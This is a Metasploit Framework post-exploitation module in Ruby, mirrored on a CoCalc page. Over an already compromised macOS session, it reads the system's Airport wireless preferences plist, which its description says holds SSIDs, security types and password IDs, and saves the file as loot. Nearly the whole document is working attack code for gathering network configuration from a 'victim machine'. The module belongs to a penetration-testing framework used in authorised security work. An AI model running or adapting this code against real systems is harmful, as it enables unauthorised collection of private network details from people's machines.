CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/enum_airport.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'OS X Gather Airport Wireless Preferences',
13
'Description' => %q{
14
This module will download OS X Airport Wireless preferences from the victim
15
machine. The preferences file (which is a plist) contains information such as:
16
SSID, Channels, Security Type, Password ID, etc.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [ 'sinn3r'],
20
'Platform' => [ 'osx' ],
21
'SessionTypes' => [ 'meterpreter', 'shell' ]
22
)
23
)
24
end
25
26
def exec(cmd)
27
tries = 0
28
begin
29
out = cmd_exec(cmd).chomp
30
rescue ::Timeout::Error => e
31
tries += 1
32
if tries < 3
33
vprint_error("#{@peer} - #{e.message} - retrying...")
34
retry
35
end
36
rescue EOFError => e
37
tries += 1
38
if tries < 3
39
vprint_error("#{@peer} - #{e.message} - retrying...")
40
retry
41
end
42
end
43
end
44
45
def get_air_preferences
46
pref = exec('cat /Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist')
47
return pref =~ /No such file or directory/ ? nil : pref
48
end
49
50
def save(data)
51
p = store_loot(
52
'apple.airport.preferences',
53
'plain/text',
54
session,
55
data,
56
'com.apple.airport.preferences.plist'
57
)
58
59
print_good("#{@peer} - plist saved in #{p}")
60
end
61
62
def run
63
@peer = "#{session.session_host}:#{session.session_port}"
64
65
# Download the plist. If not found (nil), then bail
66
pref = get_air_preferences
67
if pref.nil?
68
print_error("#{@peer} - Unable to find airport preferences")
69
return
70
end
71
72
# Save the raw version of the plist
73
save(pref)
74
end
75
end
76
77